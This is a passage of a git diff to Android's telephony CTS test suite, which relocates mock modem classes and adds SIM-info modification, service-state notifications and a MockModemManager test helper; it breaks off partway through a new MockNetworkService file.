diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigBase.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
similarity index 62%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigBase.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
index a77dd66..86f6a74 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigBase.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
@@ -14,7 +14,9 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.EF_ICCID;
 
 import android.content.Context;
 import android.hardware.radio.config.PhoneCapability;
@@ -23,13 +25,15 @@
 import android.hardware.radio.config.SlotPortMapping;
 import android.hardware.radio.sim.CardStatus;
 import android.os.AsyncResult;
+import android.os.Bundle;
 import android.os.Handler;
 import android.os.Message;
 import android.os.RegistrantList;
-import android.telephony.cts.MockSimService.SimAppData;
+import android.telephony.mockmodem.MockSimService.SimAppData;
 import android.util.Log;
 
 import java.util.ArrayList;
+import java.util.Random;
 
 public class MockModemConfigBase implements MockModemConfigInterface {
     // ***** Instance Variables
@@ -39,13 +43,15 @@
     private Context mContext;
     private int mSubId;
     private int mSimPhyicalId;
-    private Object mConfigAccess;
+    private final Object mConfigAccess = new Object();
     private int mNumOfSim = MockModemConfigInterface.MAX_NUM_OF_SIM_SLOT;
     private int mNumOfPhone = MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM;
 
     // ***** Events
     static final int EVENT_SET_RADIO_POWER = 1;
     static final int EVENT_CHANGE_SIM_PROFILE = 2;
+    static final int EVENT_SERVICE_STATE_CHANGE = 3;
+    static final int EVENT_SET_SIM_INFO = 4;
 
     // ***** Modem config values
     private String mBasebandVersion = MockModemConfigInterface.DEFAULT_BASEBAND_VERSION;
@@ -76,6 +82,10 @@
     // ***** IRadioSim RegistrantLists
     private RegistrantList mCardStatusChangedRegistrants = new RegistrantList();
     private RegistrantList mSimAppDataChangedRegistrants = new RegistrantList();
+    private RegistrantList mSimInfoChangedRegistrants = new RegistrantList();
+
+    // ***** IRadioNetwork RegistrantLists
+    private RegistrantList mServiceStateChangedRegistrants = new RegistrantList();
 
     public MockModemConfigBase(Context context, int instanceId, int numOfSim, int numOfPhone) {
         mContext = context;
@@ -89,7 +99,6 @@
                         ? MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM
                         : numOfPhone;
         mTAG = mTAG + "[" + mSubId + "]";
-        mConfigAccess = new Object();
         mHandler = new MockModemConfigHandler();
         mSimSlotStatus = new SimSlotStatus[mNumOfSim];
         mCardStatus = new CardStatus();
@@ -99,6 +108,33 @@
         setDefaultConfigValue();
     }
 
+    public static class SimInfoChangedResult {
+        public static final int SIM_INFO_TYPE_MCC_MNC = 1;
+        public static final int SIM_INFO_TYPE_IMSI = 2;
+        public static final int SIM_INFO_TYPE_ATR = 3;
+
+        public int mSimInfoType;
+        public int mEfId;
+        public String mAid;
+
+        public SimInfoChangedResult(int type, int efid, String aid) {
+            mSimInfoType = type;
+            mEfId = efid;
+            mAid = aid;
+        }
+
+        @Override
+        public String toString() {
+            return "SimInfoChangedResult:"
+                    + " simInfoType="
+                    + mSimInfoType
+                    + " efId="
+                    + mEfId
+                    + " aId="
+                    + mAid;
+        }
+    }
+
     public class MockModemConfigHandler extends Handler {
         // ***** Handler implementation
         @Override
@@ -145,11 +181,63 @@
                             Log.e(mTAG, "Load Sim card failed.");
                         }
                         break;
+                    case EVENT_SERVICE_STATE_CHANGE:
+                        Log.d(mTAG, "EVENT_SERVICE_STATE_CHANGE");
+                        // Notify object MockNetworkService
+                        mServiceStateChangedRegistrants.notifyRegistrants(
+                                new AsyncResult(null, msg.obj, null));
+                        break;
+                    case EVENT_SET_SIM_INFO:
+                        int simInfoType = msg.getData().getInt("setSimInfo:type", -1);
+                        String[] simInfoData = msg.getData().getStringArray("setSimInfo:data");
+                        Log.d(
+                                mTAG,
+                                "EVENT_SET_SIM_INFO: type = "
+                                        + simInfoType
+                                        + " data length = "
+                                        + simInfoData.length);
+                        for (int i = 0; i < simInfoData.length; i++) {
+                            Log.d(mTAG, "simInfoData[" + i + "] = " + simInfoData[i]);
+                        }
+                        SimInfoChangedResult simInfoChangeResult =
+                                setSimInfo(simInfoType, simInfoData);
+                        if (simInfoChangeResult != null) {
+                            switch (simInfoChangeResult.mSimInfoType) {
+                                case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                                case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                                    mSimInfoChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, simInfoChangeResult, null));
+                                    mSimAppDataChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, mSimAppList, null));
+                                    // Card status changed still needed for updating carrier config
+                                    // in Telephony Framework
+                                    if (mSubId == DEFAULT_SUB_ID) {
+                                        mSimSlotStatusChangedRegistrants.notifyRegistrants(
+                                                new AsyncResult(null, mSimSlotStatus, null));
+                                    }
+                                    mCardStatusChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, mCardStatus, null));
+                                    break;
+                                case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+                                    if (mSubId == DEFAULT_SUB_ID) {
+                                        mSimSlotStatusChangedRegistrants.notifyRegistrants(
+                                                new AsyncResult(null, mSimSlotStatus, null));
+                                    }
+                                    mCardStatusChangedRegistrants.notifyRegistrants(
+                                            new AsyncResult(null, mCardStatus, null));
+                                    break;
+                            }
+                        }
+                        break;
                 }
             }
         }
     }
 
+    public Handler getMockModemConfigHandler() {
+        return mHandler;
+    }
+
     private void setDefaultConfigValue() {
         synchronized (mConfigAccess) {
             mBasebandVersion = MockModemConfigInterface.DEFAULT_BASEBAND_VERSION;
@@ -181,7 +269,9 @@
 
     private void createSIMCards() {
         for (int i = 0; i < mNumOfSim; i++) {
-            mSimService[i] = new MockSimService(mContext, i);
+            if (mSimService[i] == null) {
+                mSimService[i] = new MockSimService(mContext, i);
+            }
         }
     }
 
@@ -259,6 +349,100 @@
         return result;
     }
 
+    private String generateRandomIccid(String baseIccid) {
+        String newIccid;
+        Random rnd = new Random();
+        StringBuilder randomNum = new StringBuilder();
+
+        // Generate random 12-digit account id
+        for (int i = 0; i < 12; i++) {
+            randomNum.append(rnd.nextInt(10));
+        }
+
+        Log.d(mTAG, "Random Num = " + randomNum.toString());
+
+        // TODO: regenerate checksum
+        // Simply modify account id from base Iccid
+        newIccid =
+                baseIccid.substring(0, 7)
+                        + randomNum.toString()
+                        + baseIccid.substring(baseIccid.length() - 1);
+
+        Log.d(mTAG, "Generate new Iccid = " + newIccid);
+
+        return newIccid;
+    }
+
+    private SimInfoChangedResult setSimInfo(int simInfoType, String[] simInfoData) {
+        SimInfoChangedResult result = null;
+
+        if (simInfoData == null) {
+            Log.e(mTAG, "simInfoData == null");
+            return result;
+        }
+
+        switch (simInfoType) {
+            case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                if (simInfoData.length == 2 && simInfoData[0] != null && simInfoData[1] != null) {
+                    String msin = mSimService[mSimPhyicalId].getMsin();
+
+                    // Adjust msin length to make sure IMSI length is valid.
+                    if (simInfoData[1].length() == 3 && msin.length() == 10) {
+                        msin = msin.substring(0, msin.length() - 1);
+                        Log.d(mTAG, "Modify msin = " + msin);
+                    }
+                    mSimService[mSimPhyicalId].setImsi(simInfoData[0], simInfoData[1], msin);
+
+                    // Auto-generate a new Iccid to change carrier config id in Android Framework
+                    mSimService[mSimPhyicalId].setICCID(
+                            generateRandomIccid(mSimService[mSimPhyicalId].getICCID()));
+                    updateSimSlotStatus();
+                    updateCardStatus();
+
+                    result =
+                            new SimInfoChangedResult(
+                                    simInfoType,
+                                    EF_ICCID,
+                                    mSimService[mSimPhyicalId].getActiveSimAppId());
+                }
+                break;
+            case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                if (simInfoData.length == 3
+                        && simInfoData[0] != null
+                        && simInfoData[1] != null
+                        && simInfoData[2] != null) {
+                    mSimService[mSimPhyicalId].setImsi(
+                            simInfoData[0], simInfoData[1], simInfoData[2]);
+
+                    // Auto-generate a new Iccid to change carrier config id in Android Framework
+                    mSimService[mSimPhyicalId].setICCID(
+                            generateRandomIccid(mSimService[mSimPhyicalId].getICCID()));
+                    updateSimSlotStatus();
+                    updateCardStatus();
+
+                    result =
+                            new SimInfoChangedResult(
+                                    simInfoType,
+                                    EF_ICCID,
+                                    mSimService[mSimPhyicalId].getActiveSimAppId());
+                }
+                break;
+            case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+                if (simInfoData[0] != null) {
+                    mSimService[mSimPhyicalId].setATR(simInfoData[0]);
+                    updateSimSlotStatus();
+                    updateCardStatus();
+                    result = new SimInfoChangedResult(simInfoType, 0, "");
+                }
+                break;
+            default:
+                Log.e(mTAG, "Not support Sim info type(" + simInfoType + ") to modify");
+                break;
+        }
+
+        return result;
+    }
+
     private void notifyDeviceIdentityChangedRegistrants() {
         String[] deviceIdentity = new String[4];
         synchronized (mConfigAccess) {
@@ -382,6 +566,27 @@
         mSimAppDataChangedRegistrants.remove(h);
     }
 
+    @Override
+    public void registerForSimInfoChanged(Handler h, int what, Object obj) {
+        mSimInfoChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForSimInfoChanged(Handler h) {
+        mSimInfoChangedRegistrants.remove(h);
+    }
+
+    // ***** IRadioNetwork notification implementation
+    @Override
+    public void registerForServiceStateChanged(Handler h, int what, Object obj) {
+        mServiceStateChangedRegistrants.addUnique(h, what, obj);
+    }
+
+    @Override
+    public void unregisterForServiceStateChanged(Handler h) {
+        mServiceStateChangedRegistrants.remove(h);
+    }
+
     // ***** IRadioConfig set APIs implementation
 
     // ***** IRadioModem set APIs implementation
@@ -408,7 +613,11 @@
     @Override
     public boolean isSimCardPresent(String client) {
         Log.d(mTAG, "isSimCardPresent from: " + client);
-        return (mCardStatus.cardState == CardStatus.STATE_PRESENT) ? true : false;
+        boolean isPresent;
+        synchronized (mConfigAccess) {
+            isPresent = (mCardStatus.cardState == CardStatus.STATE_PRESENT) ? true : false;
+        }
+        return isPresent;
     }
 
     @Override
@@ -419,4 +628,39 @@
         msg.getData().putInt("changeSimProfile", simprofileid);
         mHandler.sendMessage(msg);
     }
+
+    @Override
+    public void setSimInfo(int type, String[] data, String client) {
+        Log.d(mTAG, "setSimInfo: type(" + type + ") from: " + client);
+        Message msg = mHandler.obtainMessage(EVENT_SET_SIM_INFO);
+        Bundle bundle = msg.getData();
+        bundle.putInt("setSimInfo:type", type);
+        bundle.putStringArray("setSimInfo:data", data);
+        mHandler.sendMessage(msg);
+    }
+
+    @Override
+    public String getSimInfo(int type, String client) {
+        Log.d(mTAG, "getSimInfo: type(" + type + ") from: " + client);
+        String result = "";
+
+        synchronized (mConfigAccess) {
+            switch (type) {
+                case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                    result = mSimService[mSimPhyicalId].getMccMnc();
+                    break;
+                case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                    result = mSimService[mSimPhyicalId].getImsi();
+                    break;
+                case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+                    result = mCardStatus.atr;
+                    break;
+                default:
+                    Log.e(mTAG, "Not support this type of SIM info.");
+                    break;
+            }
+        }
+
+        return result;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigInterface.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
similarity index 79%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigInterface.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
index 32b2908..5e5c181 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigInterface.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.os.Handler;
 
@@ -42,6 +42,7 @@
     int DEFAULT_LOGICAL_MODEM2_ID = 1;
 
     // ***** Methods
+    Handler getMockModemConfigHandler();
 
     /** Broadcast all notifications */
     void notifyAllRegistrantNotifications();
@@ -89,6 +90,17 @@
 
     void unregisterForSimAppDataChanged(Handler h);
 
+    /** Register/unregister notification handler for sim info changed */
+    void registerForSimInfoChanged(Handler h, int what, Object obj);
+
+    void unregisterForSimInfoChanged(Handler h);
+
+    // ***** IRadioNetwork
+    /** Register/unregister notification handler for service status changed */
+    void registerForServiceStateChanged(Handler h, int what, Object obj);
+
+    void unregisterForServiceStateChanged(Handler h);
+
     /**
      * Sets the latest radio power state of modem
      *
@@ -112,4 +124,22 @@
      * @param client for tracking calling client
      */
     void changeSimProfile(int simProfileId, String client);
+
+    /**
+     * Modify SIM info of the SIM such as MCC/MNC, IMSI, etc.
+     *
+     * @param type the type of SIM info to modify.
+     * @param data to modify for the type of SIM info.
+     * @param client for tracking calling client
+     */
+    void setSimInfo(int type, String[] data, String client);
+
+    /**
+     * Get SIM info of the SIM slot, e.g. MCC/MNC, IMSI.
+     *
+     * @param type the type of SIM info.
+     * @param client for tracking calling client
+     * @return String the SIM info of the queried type.
+     */
+    String getSimInfo(int type, String client);
 }
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
new file mode 100644
index 0000000..772c7f8
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
@@ -0,0 +1,308 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT;
+
+import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
+
+import android.content.Context;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+public class MockModemManager {
+    private static final String TAG = "MockModemManager";
+
+    private static Context sContext;
+    private static MockModemServiceConnector sServiceConnector;
+    private MockModemService mMockModemService;
+
+    public MockModemManager() {
+        sContext = InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private void waitForTelephonyFrameworkDone(int delayInSec) throws Exception {
+        TimeUnit.SECONDS.sleep(delayInSec);
+    }
+
+    /* Public APIs */
+
+    /**
+     * Bring up Mock Modem Service and connect to it.
+     *
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean connectMockModemService() throws Exception {
+        return connectMockModemService(MOCK_SIM_PROFILE_ID_DEFAULT);
+    }
+    /**
+     * Bring up Mock Modem Service and connect to it.
+     *
+     * @pararm simprofile for initial Sim profile
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean connectMockModemService(int simprofile) throws Exception {
+        boolean result = false;
+
+        if (sServiceConnector == null) {
+            sServiceConnector =
+                    new MockModemServiceConnector(InstrumentationRegistry.getInstrumentation());
+        }
+
+        if (sServiceConnector != null) {
+            // TODO: support DSDS
+            result = sServiceConnector.connectMockModemService(simprofile);
+
+            if (result) {
+                mMockModemService = sServiceConnector.getMockModemService();
+
+                if (mMockModemService != null) {
+                    /*
+                     It needs to have a delay to wait for Telephony Framework to bind with
+                     MockModemService and set radio power as a desired state for initial condition
+                     even get SIM card state. Currently, 1 sec is enough for now.
+                    */
+                    waitForTelephonyFrameworkDone(1);
+                } else {
+                    Log.e(TAG, "MockModemService get failed!");
+                    result = false;
+                }
+            }
+        } else {
+            Log.e(TAG, "Create MockModemServiceConnector failed!");
+        }
+
+        return result;
+    }
+
+    /**
+     * Disconnect from Mock Modem Service.
+     *
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean disconnectMockModemService() throws Exception {
+        boolean result = false;
+
+        if (sServiceConnector != null) {
+            result = sServiceConnector.disconnectMockModemService();
+
+            if (result) {
+                mMockModemService = null;
+            } else {
+                Log.e(TAG, "MockModemService disconnected failed!");
+            }
+        } else {
+            Log.e(TAG, "No MockModemServiceConnector exist!");
+        }
+
+        return result;
+    }
+
+    /**
+     * Query whether an active SIM card is present on this slot or not.
+     *
+     * @param slotId which slot would be checked.
+     * @return boolean true if any sim card inserted, otherwise false.
+     */
+    public boolean isSimCardPresent(int slotId) throws Exception {
+        Log.d(TAG, "isSimCardPresent[" + slotId + "]");
+
+        MockModemConfigInterface[] configInterfaces =
+                mMockModemService.getMockModemConfigInterfaces();
+        return (configInterfaces != null) ? configInterfaces[slotId].isSimCardPresent(TAG) : false;
+    }
+
+    /**
+     * Insert a SIM card.
+     *
+     * @param slotId which slot would insert.
+     * @param simProfileId which carrier sim card is inserted.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean insertSimCard(int slotId, int simProfileId) throws Exception {
+        Log.d(TAG, "insertSimCard[" + slotId + "] with profile Id(" + simProfileId + ")");
+        boolean result = true;
+
+        if (!isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                configInterfaces[slotId].changeSimProfile(simProfileId, TAG);
+                waitForTelephonyFrameworkDone(1);
+            }
+        } else {
+            Log.d(TAG, "There is a SIM inserted. Need to remove first.");
+            result = false;
+        }
+        return result;
+    }
+
+    /**
+     * Remove a SIM card.
+     *
+     * @param slotId which slot would remove the SIM.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean removeSimCard(int slotId) throws Exception {
+        Log.d(TAG, "removeSimCard[" + slotId + "]");
+        boolean result = true;
+
+        if (isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                configInterfaces[slotId].changeSimProfile(MOCK_SIM_PROFILE_ID_DEFAULT, TAG);
+                waitForTelephonyFrameworkDone(1);
+            }
+        } else {
+            Log.d(TAG, "There is no SIM inserted.");
+            result = false;
+        }
+        return result;
+    }
+
+    /**
+     * Modify SIM info of the SIM such as MCC/MNC, IMSI, etc.
+     *
+     * @param slotId for modifying.
+     * @param type the type of SIM info to modify.
+     * @param data to modify for the type of SIM info.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean setSimInfo(int slotId, int type, String[] data) throws Exception {
+        Log.d(TAG, "setSimInfo[" + slotId + "]");
+        boolean result = true;
+
+        if (isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                configInterfaces[slotId].setSimInfo(type, data, TAG);
+
+                // Wait for telephony framework refresh data and carrier config
+                waitForTelephonyFrameworkDone(2);
+            } else {
+                Log.e(TAG, "MockModemConfigInterface == null!");
+                result = false;
+            }
+        } else {
+            Log.d(TAG, "There is no SIM inserted.");
+            result = false;
+        }
+        return result;
+    }
+
+    /**
+     * Get SIM info of the SIM slot, e.g. MCC/MNC, IMSI.
+     *
+     * @param slotId for the query.
+     * @param type the type of SIM info.
+     * @return String the SIM info of the queried type.
+     */
+    public String getSimInfo(int slotId, int type) throws Exception {
+        Log.d(TAG, "getSimInfo[" + slotId + "]");
+        String result = "";
+
+        if (isSimCardPresent(slotId)) {
+            MockModemConfigInterface[] configInterfaces =
+                    mMockModemService.getMockModemConfigInterfaces();
+            if (configInterfaces != null) {
+                result = configInterfaces[slotId].getSimInfo(type, TAG);
+            }
+        } else {
+            Log.d(TAG, "There is no SIM inserted.");
+        }
+        return result;
+    }
+
+    /**
+     * Force the response error return for a specific RIL request
+     *
+     * @param slotId which slot needs to be set.
+     * @param requestId the request/response message ID
+     * @param error RIL_Errno and -1 means to disable the modified mechanism, back to original mock
+     *     modem behavior
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean forceErrorResponse(int slotId, int requestId, int error) throws Exception {
+        Log.d(
+                TAG,
+                "forceErrorResponse[" + slotId + "] for request:" + requestId + " ,error:" + error);
+        boolean result = true;
+
+        // TODO: support DSDS
+        switch (requestId) {
+            case RIL_REQUEST_RADIO_POWER:
+                mMockModemService.getIRadioModem().forceErrorResponse(requestId, error);
+                break;
+            default:
+                Log.e(TAG, "request:" + requestId + " not support to change the response error");
+                result = false;
+                break;
+        }
+        return result;
+    }
+
+    /**
+     * Make the modem is in service or not.
+     *
+     * @param slotId which SIM slot is under the carrierId network.
+     * @param carrierId which carrier network is used.
+     * @param registration boolean true if the modem is in service, otherwise false.
+     * @return boolean true if the operation is successful, otherwise false.
+     */
+    public boolean changeNetworkService(int slotId, int carrierId, boolean registration)
+            throws Exception {
+        Log.d(
+                TAG,
+                "changeNetworkService["
+                        + slotId
+                        + "] in carrier ("
+                        + carrierId
+                        + ") "
+                        + registration);
+
+        boolean result;
+        // TODO: support DSDS for slotId
+        result = mMockModemService.getIRadioNetwork().changeNetworkService(carrierId, registration);
+
+        waitForTelephonyFrameworkDone(1);
+        return result;
+    }
+
+    /**
+     * get GSM CellBroadcastConfig outputs from IRadioMessagingImpl
+     *
+     * @return Set of broadcast configs
+     */
+    public Set<Integer> getGsmBroadcastConfig() {
+        return mMockModemService.getIRadioMessaging().getGsmBroadcastConfigSet();
+    }
+
+    /**
+     * get CDMA CellBroadcastConfig outputs from IRadioMessagingImpl
+     *
+     * @return Set of broadcast configs
+     */
+    public Set<Integer> getCdmaBroadcastConfig() {
+        return mMockModemService.getIRadioMessaging().getCdmaBroadcastConfigSet();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
similarity index 94%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemService.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
index 741b0e7..f2523a4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.app.Service;
 import android.content.Context;
@@ -36,13 +36,15 @@
     private static final String TAG = "MockModemService";
 
     public static final int TEST_TIMEOUT_MS = 30000;
-    public static final String IRADIOCONFIG_INTERFACE = "android.telephony.cts.iradioconfig";
-    public static final String IRADIOMODEM_INTERFACE = "android.telephony.cts.iradiomodem";
-    public static final String IRADIOSIM_INTERFACE = "android.telephony.cts.iradiosim";
-    public static final String IRADIONETWORK_INTERFACE = "android.telephony.cts.iradionetwork";
-    public static final String IRADIODATA_INTERFACE = "android.telephony.cts.iradiodata";
-    public static final String IRADIOMESSAGING_INTERFACE = "android.telephony.cts.iradiomessaging";
-    public static final String IRADIOVOICE_INTERFACE = "android.telephony.cts.iradiovoice";
+    public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig";
+    public static final String IRADIOMODEM_INTERFACE = "android.telephony.mockmodem.iradiomodem";
+    public static final String IRADIOSIM_INTERFACE = "android.telephony.mockmodem.iradiosim";
+    public static final String IRADIONETWORK_INTERFACE =
+            "android.telephony.mockmodem.iradionetwork";
+    public static final String IRADIODATA_INTERFACE = "android.telephony.mockmodem.iradiodata";
+    public static final String IRADIOMESSAGING_INTERFACE =
+            "android.telephony.mockmodem.iradiomessaging";
+    public static final String IRADIOVOICE_INTERFACE = "android.telephony.mockmodem.iradiovoice";
     public static final String PHONE_ID = "phone_id";
 
     private static Context sContext;
@@ -115,7 +117,8 @@
         // TODO: Support DSDS
         sIRadioModemImpl = new IRadioModemImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
         sIRadioSimImpl = new IRadioSimImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
-        sIRadioNetworkImpl = new IRadioNetworkImpl(this);
+        sIRadioNetworkImpl =
+                new IRadioNetworkImpl(this, sMockModemConfigInterfaces, DEFAULT_SUB_ID);
         sIRadioDataImpl = new IRadioDataImpl(this);
         sIRadioMessagingImpl = new IRadioMessagingImpl(this);
         sIRadioVoiceImpl = new IRadioVoiceImpl(this);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemServiceConnector.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
similarity index 94%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemServiceConnector.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
index 039a1e1..8031994 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemServiceConnector.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemServiceConnector.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.app.Instrumentation;
 import android.content.ComponentName;
@@ -22,6 +22,7 @@
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.os.IBinder;
+import android.telephony.cts.TelephonyUtils;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -33,7 +34,6 @@
 
     private static final String TAG = "MockModemServiceConnector";
 
-    private static final String DEFAULT_SERVICE_NAME = MockModemService.class.getClass().getName();
     private static final String COMMAND_BASE = "cmd phone ";
     private static final String COMMAND_SET_MODEM_SERVICE = "radio set-modem-service ";
     private static final String COMMAND_GET_MODEM_SERVICE = "radio get-modem-service ";
@@ -56,10 +56,8 @@
         public void onServiceConnected(ComponentName name, IBinder service) {
             String serviceName;
             mMockModemService = ((MockModemService.LocalBinder) service).getService();
-            serviceName = mMockModemService.getClass().getName();
-            if (!isDefaultMockModemService(serviceName)) {
-                updateModemServiceName(serviceName);
-            }
+            serviceName = name.getPackageName() + "/" + name.getClassName();
+            updateModemServiceName(serviceName);
             mLatch.countDown();
             Log.d(TAG, "MockModemServiceConnection - " + serviceName + " onServiceConnected");
         }
@@ -164,10 +162,6 @@
         return result;
     }
 
-    private boolean isDefaultMockModemService(String serviceName) {
-        return TextUtils.equals(DEFAULT_SERVICE_NAME, serviceName);
-    }
-
     /**
      * Bind to the local implementation of MockModemService.
      *
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java
new file mode 100644
index 0000000..2324cc2
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockNetworkService.java
@@ -0,0 +1,688 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.network.CellConnectionStatus;
+import android.hardware.radio.network.CellInfo;
+import android.hardware.radio.network.CellInfoLte;
+import android.hardware.radio.network.CellInfoRatSpecificInfo;
+import android.hardware.radio.network.CellInfoWcdma;
+import android.hardware.radio.network.RegState;
+import android.telephony.RadioAccessFamily;
+import android.telephony.ServiceState;
+import android.util.Log;
+
+import com.android.internal.telephony.RILConstants;
+
+import java.util.ArrayList;
+
+public class MockNetworkService {
+    private static final String TAG = "MockNetworkService";
+
+    // Grouping of RAFs
+    // 2G
+    public static final int GSM =
+            RadioAccessFamily.RAF_GSM | RadioAccessFamily.RAF_GPRS | RadioAccessFamily.RAF_EDGE;
+    public static final int CDMA =
+            RadioAccessFamily.RAF_IS95A | RadioAccessFamily.RAF_IS95B | RadioAccessFamily.RAF_1xRTT;
+    // 3G
+    public static final int EVDO =
+            RadioAccessFamily.RAF_EVDO_0
+                    | RadioAccessFamily.RAF_EVDO_A
+                    | RadioAccessFamily.RAF_EVDO_B
+                    | RadioAccessFamily.RAF_EHRPD;
+    public static final int HS =
+            RadioAccessFamily.RAF_HSUPA
+                    | RadioAccessFamily.RAF_HSDPA
+                    | RadioAccessFamily.RAF_HSPA
+                    | RadioAccessFamily.RAF_HSPAP;
+    public static final int WCDMA = HS | RadioAccessFamily.RAF_UMTS;
+    // 4G
+    public static final int LTE = RadioAccessFamily.RAF_LTE | RadioAccessFamily.RAF_LTE_CA;
+    // 5G
+    public static final int NR = RadioAccessFamily.RAF_NR;
+
+    static final int MOCK_CARRIER_NO_SERVICE = 0;
+    // TODO: Integrate carrier network parameters with SIM profile
+    static final int MOCK_CARRIER_CHT = 1;
+    static final int MOCK_CARRIER_FET = 2;
+
+    // Network status update reason
+    static final int NETWORK_UPDATE_PREFERRED_MODE_CHANGE = 1;
+
+    private int mCsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
